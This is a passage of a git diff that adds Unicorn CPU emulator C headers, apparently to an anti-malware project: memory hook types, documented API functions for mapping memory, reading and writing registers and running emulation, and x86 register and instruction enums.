UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_FETCH_PROT) +// Hook type for all events of illegal read memory access +#define UC_HOOK_MEM_READ_INVALID (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_READ_UNMAPPED) +// Hook type for all events of illegal write memory access +#define UC_HOOK_MEM_WRITE_INVALID (UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_WRITE_UNMAPPED) +// Hook type for all events of illegal fetch memory access +#define UC_HOOK_MEM_FETCH_INVALID (UC_HOOK_MEM_FETCH_PROT + UC_HOOK_MEM_FETCH_UNMAPPED) +// Hook type for all events of illegal memory access +#define UC_HOOK_MEM_INVALID (UC_HOOK_MEM_UNMAPPED + UC_HOOK_MEM_PROT) +// Hook type for all events of valid memory access +// NOTE: UC_HOOK_MEM_READ is triggered before UC_HOOK_MEM_READ_PROT and UC_HOOK_MEM_READ_UNMAPPED, so +// this hook may technically trigger on some invalid reads. +#define UC_HOOK_MEM_VALID (UC_HOOK_MEM_READ + UC_HOOK_MEM_WRITE + UC_HOOK_MEM_FETCH) + +/* + Callback function for hooking memory (READ, WRITE & FETCH) + + @type: this memory is being READ, or WRITE + @address: address where the code is being executed + @size: size of data being read or written + @value: value of data being written to memory, or irrelevant if type = READ. + @user_data: user data passed to tracing APIs +*/ +typedef void (*uc_cb_hookmem_t)(uc_engine *uc, uc_mem_type type, + uint64_t address, int size, int64_t value, void *user_data); + +/* + Callback function for handling invalid memory access events (UNMAPPED and + PROT events) + + @type: this memory is being READ, or WRITE + @address: address where the code is being executed + @size: size of data being read or written + @value: value of data being written to memory, or irrelevant if type = READ. + @user_data: user data passed to tracing APIs + + @return: return true to continue, or false to stop program (due to invalid memory). + NOTE: returning true to continue execution will only work if if the accessed + memory is made accessible with the correct permissions during the hook. + + In the event of a UC_MEM_READ_UNMAPPED or UC_MEM_WRITE_UNMAPPED callback, + the memory should be uc_mem_map()-ed with the correct permissions, and the + instruction will then read or write to the address as it was supposed to. + + In the event of a UC_MEM_FETCH_UNMAPPED callback, the memory can be mapped + in as executable, in which case execution will resume from the fetched address. + The instruction pointer may be written to in order to change where execution resumes, + but the fetch must succeed if execution is to resume. +*/ +typedef bool (*uc_cb_eventmem_t)(uc_engine *uc, uc_mem_type type, + uint64_t address, int size, int64_t value, void *user_data); + +/* + Memory region mapped by uc_mem_map() and uc_mem_map_ptr() + Retrieve the list of memory regions with uc_mem_regions() +*/ +typedef struct uc_mem_region { + uint64_t begin; // begin address of the region (inclusive) + uint64_t end; // end address of the region (inclusive) + uint32_t perms; // memory permissions of the region +} uc_mem_region; + +// All type of queries for uc_query() API. +typedef enum uc_query_type { + // Dynamically query current hardware mode. + UC_QUERY_MODE = 1, + UC_QUERY_PAGE_SIZE, // query pagesize of engine + UC_QUERY_ARCH, // query architecture of engine (for ARM to query Thumb mode) + UC_QUERY_TIMEOUT, // query if emulation stops due to timeout (indicated if result = True) +} uc_query_type; + +// Opaque storage for CPU context, used with uc_context_*() +struct uc_context; +typedef struct uc_context uc_context; + +/* + Return combined API version & major and minor version numbers. + + @major: major number of API version + @minor: minor number of API version + + @return hexical number as (major << 8 | minor), which encodes both + major & minor versions. + NOTE: This returned value can be compared with version number made + with macro UC_MAKE_VERSION + + For example, second API version would return 1 in @major, and 1 in @minor + The return value would be 0x0101 + + NOTE: if you only care about returned value, but not major and minor values, + set both @major & @minor arguments to NULL. +*/ +UNICORN_EXPORT +unsigned int uc_version(unsigned int *major, unsigned int *minor); + + +/* + Determine if the given architecture is supported by this library. + + @arch: architecture type (UC_ARCH_*) + + @return True if this library supports the given arch. +*/ +UNICORN_EXPORT +bool uc_arch_supported(uc_arch arch); + + +/* + Create new instance of unicorn engine. + + @arch: architecture type (UC_ARCH_*) + @mode: hardware mode. This is combined of UC_MODE_* + @uc: pointer to uc_engine, which will be updated at return time + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_open(uc_arch arch, uc_mode mode, uc_engine **uc); + +/* + Close a Unicorn engine instance. + NOTE: this must be called only when there is no longer any + usage of @uc. This API releases some of @uc's cached memory, thus + any use of the Unicorn API with @uc after it has been closed may + crash your application. After this, @uc is invalid, and is no + longer usable. + + @uc: pointer to a handle returned by uc_open() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_close(uc_engine *uc); + +/* + Query internal status of engine. + + @uc: handle returned by uc_open() + @type: query type. See uc_query_type + + @result: save the internal status queried + + @return: error code of uc_err enum type (UC_ERR_*, see above) +*/ +UNICORN_EXPORT +uc_err uc_query(uc_engine *uc, uc_query_type type, size_t *result); + +/* + Report the last error number when some API function fail. + Like glibc's errno, uc_errno might not retain its old value once accessed. + + @uc: handle returned by uc_open() + + @return: error code of uc_err enum type (UC_ERR_*, see above) +*/ +UNICORN_EXPORT +uc_err uc_errno(uc_engine *uc); + +/* + Return a string describing given error code. + + @code: error code (see UC_ERR_* above) + + @return: returns a pointer to a string that describes the error code + passed in the argument @code + */ +UNICORN_EXPORT +const char *uc_strerror(uc_err code); + +/* + Write to register. + + @uc: handle returned by uc_open() + @regid: register ID that is to be modified. + @value: pointer to the value that will set to register @regid + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_reg_write(uc_engine *uc, int regid, const void *value); + +/* + Read register value. + + @uc: handle returned by uc_open() + @regid: register ID that is to be retrieved. + @value: pointer to a variable storing the register value. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_reg_read(uc_engine *uc, int regid, void *value); + +/* + Write multiple register values. + + @uc: handle returned by uc_open() + @rges: array of register IDs to store + @value: pointer to array of register values + @count: length of both *regs and *vals + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_reg_write_batch(uc_engine *uc, int *regs, void *const *vals, int count); + +/* + Read multiple register values. + + @uc: handle returned by uc_open() + @rges: array of register IDs to retrieve + @value: pointer to array of values to hold registers + @count: length of both *regs and *vals + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_reg_read_batch(uc_engine *uc, int *regs, void **vals, int count); + +/* + Write to a range of bytes in memory. + + @uc: handle returned by uc_open() + @address: starting memory address of bytes to set. + @bytes: pointer to a variable containing data to be written to memory. + @size: size of memory to write to. + + NOTE: @bytes must be big enough to contain @size bytes. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_write(uc_engine *uc, uint64_t address, const void *bytes, size_t size); + +/* + Read a range of bytes in memory. + + @uc: handle returned by uc_open() + @address: starting memory address of bytes to get. + @bytes: pointer to a variable containing data copied from memory. + @size: size of memory to read. + + NOTE: @bytes must be big enough to contain @size bytes. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_read(uc_engine *uc, uint64_t address, void *bytes, size_t size); + +/* + Emulate machine code in a specific duration of time. + + @uc: handle returned by uc_open() + @begin: address where emulation starts + @until: address where emulation stops (i.e when this address is hit) + @timeout: duration to emulate the code (in microseconds). When this value is 0, + we will emulate the code in infinite time, until the code is finished. + @count: the number of instructions to be emulated. When this value is 0, + we will emulate all the code available, until the code is finished. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_emu_start(uc_engine *uc, uint64_t begin, uint64_t until, uint64_t timeout, size_t count); + +/* + Stop emulation (which was started by uc_emu_start() API. + This is typically called from callback functions registered via tracing APIs. + + @uc: handle returned by uc_open() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_emu_stop(uc_engine *uc); + +/* + Register callback for a hook event. + The callback will be run when the hook event is hit. + + @uc: handle returned by uc_open() + @hh: hook handle returned from this registration. To be used in uc_hook_del() API + @type: hook type + @callback: callback to be run when instruction is hit + @user_data: user-defined data. This will be passed to callback function in its + last argument @user_data + @begin: start address of the area where the callback is effect (inclusive) + @end: end address of the area where the callback is effect (inclusive) + NOTE 1: the callback is called only if related address is in range [@begin, @end] + NOTE 2: if @begin > @end, callback is called whenever this hook type is triggered + @...: variable arguments (depending on @type) + NOTE: if @type = UC_HOOK_INSN, this is the instruction ID (ex: UC_X86_INS_OUT) + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, + void *user_data, uint64_t begin, uint64_t end, ...); + +/* + Unregister (remove) a hook callback. + This API removes the hook callback registered by uc_hook_add(). + NOTE: this should be called only when you no longer want to trace. + After this, @hh is invalid, and nolonger usable. + + @uc: handle returned by uc_open() + @hh: handle returned by uc_hook_add() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_hook_del(uc_engine *uc, uc_hook hh); + +typedef enum uc_prot { + UC_PROT_NONE = 0, + UC_PROT_READ = 1, + UC_PROT_WRITE = 2, + UC_PROT_EXEC = 4, + UC_PROT_ALL = 7, +} uc_prot; + +/* + Map memory in for emulation. + This API adds a memory region that can be used by emulation. + + @uc: handle returned by uc_open() + @address: starting address of the new memory region to be mapped in. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the new memory region to be mapped in. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: Permissions for the newly mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_map(uc_engine *uc, uint64_t address, size_t size, uint32_t perms); + +/* + Map existing host memory in for emulation. + This API adds a memory region that can be used by emulation. + + @uc: handle returned by uc_open() + @address: starting address of the new memory region to be mapped in. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the new memory region to be mapped in. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: Permissions for the newly mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + @ptr: pointer to host memory backing the newly mapped memory. This host memory is + expected to be an equal or larger size than provided, and be mapped with at + least PROT_READ | PROT_WRITE. If it is not, the resulting behavior is undefined. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_map_ptr(uc_engine *uc, uint64_t address, size_t size, uint32_t perms, void *ptr); + +/* + Unmap a region of emulation memory. + This API deletes a memory mapping from the emulation memory space. + + @uc: handle returned by uc_open() + @address: starting address of the memory region to be unmapped. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the memory region to be modified. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_unmap(uc_engine *uc, uint64_t address, size_t size); + +/* + Set memory permissions for emulation memory. + This API changes permissions on an existing memory region. + + @uc: handle returned by uc_open() + @address: starting address of the memory region to be modified. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the memory region to be modified. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: New permissions for the mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_protect(uc_engine *uc, uint64_t address, size_t size, uint32_t perms); + +/* + Retrieve all memory regions mapped by uc_mem_map() and uc_mem_map_ptr() + This API allocates memory for @regions, and user must free this memory later + by free() to avoid leaking memory. + NOTE: memory regions may be splitted by uc_mem_unmap() + + @uc: handle returned by uc_open() + @regions: pointer to an array of uc_mem_region struct. This is allocated by + Unicorn, and must be freed by user later with uc_free() + @count: pointer to number of struct uc_mem_region contained in @regions + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_regions(uc_engine *uc, uc_mem_region **regions, uint32_t *count); + +/* + Allocate a region that can be used with uc_context_{save,restore} to perform + quick save/rollback of the CPU context, which includes registers and some + internal metadata. Contexts may not be shared across engine instances with + differing arches or modes. + + @uc: handle returned by uc_open() + @context: pointer to a uc_engine*. This will be updated with the pointer to + the new context on successful return of this function. + Later, this allocated memory must be freed with uc_free(). + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_context_alloc(uc_engine *uc, uc_context **context); + +/* + Free the memory allocated by uc_mem_regions. + WARNING: After Unicorn 1.0.1rc5, the memory allocated by uc_context_alloc should + be free-ed by uc_context_free(). Calling uc_free() may still work, but the result + is **undefined**. + + @mem: memory allocated by uc_mem_regions (returned in *regions). + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_free(void *mem); + +/* + Save a copy of the internal CPU context. + This API should be used to efficiently make or update a saved copy of the + internal CPU state. + + @uc: handle returned by uc_open() + @context: handle returned by uc_context_alloc() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_context_save(uc_engine *uc, uc_context *context); + +/* + Restore the current CPU context from a saved copy. + This API should be used to roll the CPU context back to a previous + state saved by uc_context_save(). + + @uc: handle returned by uc_open() + @context: handle returned by uc_context_alloc that has been used with uc_context_save + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_context_restore(uc_engine *uc, uc_context *context); + + +/* + Return the size needed to store the cpu context. Can be used to allocate a buffer + to contain the cpu context and directly call uc_context_save. + + @uc: handle returned by uc_open() + + @return the size for needed to store the cpu context as as size_t. +*/ +UNICORN_EXPORT +size_t uc_context_size(uc_engine *uc); + + +/* + Free the context allocated by uc_context_alloc(). + + @context: handle returned by uc_context_alloc() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_context_free(uc_context *context); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/include/unicorn/x86.h b/ai_anti_malware/unicorn/include/unicorn/x86.h new file mode 100644 index 0000000..cd2c66d --- /dev/null +++ b/ai_anti_malware/unicorn/include/unicorn/x86.h @@ -0,0 +1,1446 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_X86_H +#define UNICORN_X86_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +// Memory-Management Register for instructions IDTR, GDTR, LDTR, TR. +// Borrow from SegmentCache in qemu/target-i386/cpu.h +typedef struct uc_x86_mmr { + uint16_t selector; /* not used by GDTR and IDTR */ + uint64_t base; /* handle 32 or 64 bit CPUs */ + uint32_t limit; + uint32_t flags; /* not used by GDTR and IDTR */ +} uc_x86_mmr; + +// Model-Specific Register structure, use this with UC_X86_REG_MSR (as the register ID) in +// call to uc_reg_write/uc_reg_read() to manipulate MSRs. +typedef struct uc_x86_msr { + uint32_t rid; // MSR id + uint64_t value; // MSR value +} uc_x86_msr; + +// Callback function for tracing SYSCALL/SYSENTER (for uc_hook_intr()) +// @user_data: user data passed to tracing APIs. +typedef void (*uc_cb_insn_syscall_t)(struct uc_struct *uc, void *user_data); + +//> X86 registers +typedef enum uc_x86_reg { + UC_X86_REG_INVALID = 0, + UC_X86_REG_AH, UC_X86_REG_AL, UC_X86_REG_AX, UC_X86_REG_BH, UC_X86_REG_BL, + UC_X86_REG_BP, UC_X86_REG_BPL, UC_X86_REG_BX, UC_X86_REG_CH, UC_X86_REG_CL, + UC_X86_REG_CS, UC_X86_REG_CX, UC_X86_REG_DH, UC_X86_REG_DI, UC_X86_REG_DIL, + UC_X86_REG_DL, UC_X86_REG_DS, UC_X86_REG_DX, UC_X86_REG_EAX, UC_X86_REG_EBP, + UC_X86_REG_EBX, UC_X86_REG_ECX, UC_X86_REG_EDI, UC_X86_REG_EDX, UC_X86_REG_EFLAGS, + UC_X86_REG_EIP, UC_X86_REG_EIZ, UC_X86_REG_ES, UC_X86_REG_ESI, UC_X86_REG_ESP, + UC_X86_REG_FPSW, UC_X86_REG_FS, UC_X86_REG_GS, UC_X86_REG_IP, UC_X86_REG_RAX, + UC_X86_REG_RBP, UC_X86_REG_RBX, UC_X86_REG_RCX, UC_X86_REG_RDI, UC_X86_REG_RDX, + UC_X86_REG_RIP, UC_X86_REG_RIZ, UC_X86_REG_RSI, UC_X86_REG_RSP, UC_X86_REG_SI, + UC_X86_REG_SIL, UC_X86_REG_SP, UC_X86_REG_SPL, UC_X86_REG_SS, UC_X86_REG_CR0, + UC_X86_REG_CR1, UC_X86_REG_CR2, UC_X86_REG_CR3, UC_X86_REG_CR4, UC_X86_REG_CR5, + UC_X86_REG_CR6, UC_X86_REG_CR7, UC_X86_REG_CR8, UC_X86_REG_CR9, UC_X86_REG_CR10, + UC_X86_REG_CR11, UC_X86_REG_CR12, UC_X86_REG_CR13, UC_X86_REG_CR14, UC_X86_REG_CR15, + UC_X86_REG_DR0, UC_X86_REG_DR1, UC_X86_REG_DR2, UC_X86_REG_DR3, UC_X86_REG_DR4, + UC_X86_REG_DR5, UC_X86_REG_DR6, UC_X86_REG_DR7, UC_X86_REG_DR8, UC_X86_REG_DR9, + UC_X86_REG_DR10, UC_X86_REG_DR11, UC_X86_REG_DR12, UC_X86_REG_DR13, UC_X86_REG_DR14, + UC_X86_REG_DR15, UC_X86_REG_FP0, UC_X86_REG_FP1, UC_X86_REG_FP2, UC_X86_REG_FP3, + UC_X86_REG_FP4, UC_X86_REG_FP5, UC_X86_REG_FP6, UC_X86_REG_FP7, + UC_X86_REG_K0, UC_X86_REG_K1, UC_X86_REG_K2, UC_X86_REG_K3, UC_X86_REG_K4, + UC_X86_REG_K5, UC_X86_REG_K6, UC_X86_REG_K7, UC_X86_REG_MM0, UC_X86_REG_MM1, + UC_X86_REG_MM2, UC_X86_REG_MM3, UC_X86_REG_MM4, UC_X86_REG_MM5, UC_X86_REG_MM6, + UC_X86_REG_MM7, UC_X86_REG_R8, UC_X86_REG_R9, UC_X86_REG_R10, UC_X86_REG_R11, + UC_X86_REG_R12, UC_X86_REG_R13, UC_X86_REG_R14, UC_X86_REG_R15, + UC_X86_REG_ST0, UC_X86_REG_ST1, UC_X86_REG_ST2, UC_X86_REG_ST3, + UC_X86_REG_ST4, UC_X86_REG_ST5, UC_X86_REG_ST6, UC_X86_REG_ST7, + UC_X86_REG_XMM0, UC_X86_REG_XMM1, UC_X86_REG_XMM2, UC_X86_REG_XMM3, UC_X86_REG_XMM4, + UC_X86_REG_XMM5, UC_X86_REG_XMM6, UC_X86_REG_XMM7, UC_X86_REG_XMM8, UC_X86_REG_XMM9, + UC_X86_REG_XMM10, UC_X86_REG_XMM11, UC_X86_REG_XMM12, UC_X86_REG_XMM13, UC_X86_REG_XMM14, + UC_X86_REG_XMM15, UC_X86_REG_XMM16, UC_X86_REG_XMM17, UC_X86_REG_XMM18, UC_X86_REG_XMM19, + UC_X86_REG_XMM20, UC_X86_REG_XMM21, UC_X86_REG_XMM22, UC_X86_REG_XMM23, UC_X86_REG_XMM24, + UC_X86_REG_XMM25, UC_X86_REG_XMM26, UC_X86_REG_XMM27, UC_X86_REG_XMM28, UC_X86_REG_XMM29, + UC_X86_REG_XMM30, UC_X86_REG_XMM31, UC_X86_REG_YMM0, UC_X86_REG_YMM1, UC_X86_REG_YMM2, + UC_X86_REG_YMM3, UC_X86_REG_YMM4, UC_X86_REG_YMM5, UC_X86_REG_YMM6, UC_X86_REG_YMM7, + UC_X86_REG_YMM8, UC_X86_REG_YMM9, UC_X86_REG_YMM10, UC_X86_REG_YMM11, UC_X86_REG_YMM12, + UC_X86_REG_YMM13, UC_X86_REG_YMM14, UC_X86_REG_YMM15, UC_X86_REG_YMM16, UC_X86_REG_YMM17, + UC_X86_REG_YMM18, UC_X86_REG_YMM19, UC_X86_REG_YMM20, UC_X86_REG_YMM21, UC_X86_REG_YMM22, + UC_X86_REG_YMM23, UC_X86_REG_YMM24, UC_X86_REG_YMM25, UC_X86_REG_YMM26, UC_X86_REG_YMM27, + UC_X86_REG_YMM28, UC_X86_REG_YMM29, UC_X86_REG_YMM30, UC_X86_REG_YMM31, UC_X86_REG_ZMM0, + UC_X86_REG_ZMM1, UC_X86_REG_ZMM2, UC_X86_REG_ZMM3, UC_X86_REG_ZMM4, UC_X86_REG_ZMM5, + UC_X86_REG_ZMM6, UC_X86_REG_ZMM7, UC_X86_REG_ZMM8, UC_X86_REG_ZMM9, UC_X86_REG_ZMM10, + UC_X86_REG_ZMM11, UC_X86_REG_ZMM12, UC_X86_REG_ZMM13, UC_X86_REG_ZMM14, UC_X86_REG_ZMM15, + UC_X86_REG_ZMM16, UC_X86_REG_ZMM17, UC_X86_REG_ZMM18, UC_X86_REG_ZMM19, UC_X86_REG_ZMM20, + UC_X86_REG_ZMM21, UC_X86_REG_ZMM22, UC_X86_REG_ZMM23, UC_X86_REG_ZMM24, UC_X86_REG_ZMM25, + UC_X86_REG_ZMM26, UC_X86_REG_ZMM27, UC_X86_REG_ZMM28, UC_X86_REG_ZMM29, UC_X86_REG_ZMM30, + UC_X86_REG_ZMM31, UC_X86_REG_R8B, UC_X86_REG_R9B, UC_X86_REG_R10B, UC_X86_REG_R11B, + UC_X86_REG_R12B, UC_X86_REG_R13B, UC_X86_REG_R14B, UC_X86_REG_R15B, UC_X86_REG_R8D, + UC_X86_REG_R9D, UC_X86_REG_R10D, UC_X86_REG_R11D, UC_X86_REG_R12D, UC_X86_REG_R13D, + UC_X86_REG_R14D, UC_X86_REG_R15D, UC_X86_REG_R8W, UC_X86_REG_R9W, UC_X86_REG_R10W, + UC_X86_REG_R11W, UC_X86_REG_R12W, UC_X86_REG_R13W, UC_X86_REG_R14W, UC_X86_REG_R15W, + UC_X86_REG_IDTR, UC_X86_REG_GDTR, UC_X86_REG_LDTR, UC_X86_REG_TR, UC_X86_REG_FPCW, + UC_X86_REG_FPTAG, + UC_X86_REG_MSR, // Model-Specific Register + UC_X86_REG_MXCSR, + UC_X86_REG_FS_BASE, // Base regs for x86_64 + UC_X86_REG_GS_BASE, + UC_X86_REG_ENDING // <-- mark the end of the list of registers +} uc_x86_reg; + +//> X86 instructions +typedef enum uc_x86_insn { + UC_X86_INS_INVALID = 0, + + UC_X86_INS_AAA, + UC_X86_INS_AAD, + UC_X86_INS_AAM, + UC_X86_INS_AAS, + UC_X86_INS_FABS, + UC_X86_INS_ADC, + UC_X86_INS_ADCX, + UC_X86_INS_ADD, + UC_X86_INS_ADDPD, + UC_X86_INS_ADDPS, + UC_X86_INS_ADDSD, + UC_X86_INS_ADDSS, + UC_X86_INS_ADDSUBPD, + UC_X86_INS_ADDSUBPS, + UC_X86_INS_FADD, + UC_X86_INS_FIADD, + UC_X86_INS_FADDP, + UC_X86_INS_ADOX, + UC_X86_INS_AESDECLAST, + UC_X86_INS_AESDEC, + UC_X86_INS_AESENCLAST, + UC_X86_INS_AESENC, + UC_X86_INS_AESIMC, + UC_X86_INS_AESKEYGENASSIST, + UC_X86_INS_AND, + UC_X86_INS_ANDN, + UC_X86_INS_ANDNPD, + UC_X86_INS_ANDNPS, + UC_X86_INS_ANDPD, + UC_X86_INS_ANDPS, + UC_X86_INS_ARPL, + UC_X86_INS_BEXTR, + UC_X86_INS_BLCFILL, + UC_X86_INS_BLCI, + UC_X86_INS_BLCIC, + UC_X86_INS_BLCMSK, + UC_X86_INS_BLCS, + UC_X86_INS_BLENDPD, + UC_X86_INS_BLENDPS, + UC_X86_INS_BLENDVPD, + UC_X86_INS_BLENDVPS, + UC_X86_INS_BLSFILL, + UC_X86_INS_BLSI, + UC_X86_INS_BLSIC, + UC_X86_INS_BLSMSK, + UC_X86_INS_BLSR, + UC_X86_INS_BOUND, + UC_X86_INS_BSF, + UC_X86_INS_BSR, + UC_X86_INS_BSWAP, + UC_X86_INS_BT, + UC_X86_INS_BTC, + UC_X86_INS_BTR, + UC_X86_INS_BTS, + UC_X86_INS_BZHI, + UC_X86_INS_CALL, + UC_X86_INS_CBW, + UC_X86_INS_CDQ, + UC_X86_INS_CDQE, + UC_X86_INS_FCHS, + UC_X86_INS_CLAC, + UC_X86_INS_CLC, + UC_X86_INS_CLD, + UC_X86_INS_CLFLUSH, + UC_X86_INS_CLFLUSHOPT, + UC_X86_INS_CLGI, + UC_X86_INS_CLI, + UC_X86_INS_CLTS, + UC_X86_INS_CLWB, + UC_X86_INS_CMC, + UC_X86_INS_CMOVA, + UC_X86_INS_CMOVAE, + UC_X86_INS_CMOVB, + UC_X86_INS_CMOVBE, + UC_X86_INS_FCMOVBE, + UC_X86_INS_FCMOVB, + UC_X86_INS_CMOVE, + UC_X86_INS_FCMOVE, + UC_X86_INS_CMOVG, + UC_X86_INS_CMOVGE, + UC_X86_INS_CMOVL, + UC_X86_INS_CMOVLE, + UC_X86_INS_FCMOVNBE, + UC_X86_INS_FCMOVNB, + UC_X86_INS_CMOVNE, + UC_X86_INS_FCMOVNE, + UC_X86_INS_CMOVNO, + UC_X86_INS_CMOVNP, + UC_X86_INS_FCMOVNU, + UC_X86_INS_CMOVNS, + UC_X86_INS_CMOVO, + UC_X86_INS_CMOVP, + UC_X86_INS_FCMOVU, + UC_X86_INS_CMOVS, + UC_X86_INS_CMP, + UC_X86_INS_CMPPD, + UC_X86_INS_CMPPS, + UC_X86_INS_CMPSB, + UC_X86_INS_CMPSD, + UC_X86_INS_CMPSQ, + UC_X86_INS_CMPSS, + UC_X86_INS_CMPSW, + UC_X86_INS_CMPXCHG16B, + UC_X86_INS_CMPXCHG, + UC_X86_INS_CMPXCHG8B, + UC_X86_INS_COMISD, + UC_X86_INS_COMISS, + UC_X86_INS_FCOMP, + UC_X86_INS_FCOMPI, + UC_X86_INS_FCOMI, + UC_X86_INS_FCOM, + UC_X86_INS_FCOS, + UC_X86_INS_CPUID, + UC_X86_INS_CQO, + UC_X86_INS_CRC32, + UC_X86_INS_CVTDQ2PD, + UC_X86_INS_CVTDQ2PS, + UC_X86_INS_CVTPD2DQ, + UC_X86_INS_CVTPD2PS, + UC_X86_INS_CVTPS2DQ, + UC_X86_INS_CVTPS2PD, + UC_X86_INS_CVTSD2SI, + UC_X86_INS_CVTSD2SS, + UC_X86_INS_CVTSI2SD, + UC_X86_INS_CVTSI2SS, + UC_X86_INS_CVTSS2SD, + UC_X86_INS_CVTSS2SI, + UC_X86_INS_CVTTPD2DQ, + UC_X86_INS_CVTTPS2DQ, + UC_X86_INS_CVTTSD2SI, + UC_X86_INS_CVTTSS2SI, + UC_X86_INS_CWD, + UC_X86_INS_CWDE, + UC_X86_INS_DAA, + UC_X86_INS_DAS, + UC_X86_INS_DATA16, + UC_X86_INS_DEC, + UC_X86_INS_DIV, + UC_X86_INS_DIVPD, + UC_X86_INS_DIVPS, + UC_X86_INS_FDIVR, + UC_X86_INS_FIDIVR, + UC_X86_INS_FDIVRP, + UC_X86_INS_DIVSD, + UC_X86_INS_DIVSS, + UC_X86_INS_FDIV, + UC_X86_INS_FIDIV, + UC_X86_INS_FDIVP, + UC_X86_INS_DPPD, + UC_X86_INS_DPPS, + UC_X86_INS_RET, + UC_X86_INS_ENCLS, + UC_X86_INS_ENCLU, + UC_X86_INS_ENTER, + UC_X86_INS_EXTRACTPS, + UC_X86_INS_EXTRQ, + UC_X86_INS_F2XM1, + UC_X86_INS_LCALL, + UC_X86_INS_LJMP, + UC_X86_INS_FBLD, + UC_X86_INS_FBSTP, + UC_X86_INS_FCOMPP, + UC_X86_INS_FDECSTP, + UC_X86_INS_FEMMS, + UC_X86_INS_FFREE, + UC_X86_INS_FICOM, + UC_X86_INS_FICOMP, + UC_X86_INS_FINCSTP, + UC_X86_INS_FLDCW, + UC_X86_INS_FLDENV, + UC_X86_INS_FLDL2E, + UC_X86_INS_FLDL2T, + UC_X86_INS_FLDLG2, + UC_X86_INS_FLDLN2, + UC_X86_INS_FLDPI, + UC_X86_INS_FNCLEX, + UC_X86_INS_FNINIT, + UC_X86_INS_FNOP, + UC_X86_INS_FNSTCW, + UC_X86_INS_FNSTSW, + UC_X86_INS_FPATAN, + UC_X86_INS_FPREM, + UC_X86_INS_FPREM1, + UC_X86_INS_FPTAN, + UC_X86_INS_FFREEP, + UC_X86_INS_FRNDINT, + UC_X86_INS_FRSTOR, + UC_X86_INS_FNSAVE, + UC_X86_INS_FSCALE, + UC_X86_INS_FSETPM, + UC_X86_INS_FSINCOS, + UC_X86_INS_FNSTENV, + UC_X86_INS_FXAM, + UC_X86_INS_FXRSTOR, + UC_X86_INS_FXRSTOR64, + UC_X86_INS_FXSAVE, + UC_X86_INS_FXSAVE64, + UC_X86_INS_FXTRACT, + UC_X86_INS_FYL2X, + UC_X86_INS_FYL2XP1, + UC_X86_INS_MOVAPD, + UC_X86_INS_MOVAPS, + UC_X86_INS_ORPD, + UC_X86_INS_ORPS, + UC_X86_INS_VMOVAPD, + UC_X86_INS_VMOVAPS, + 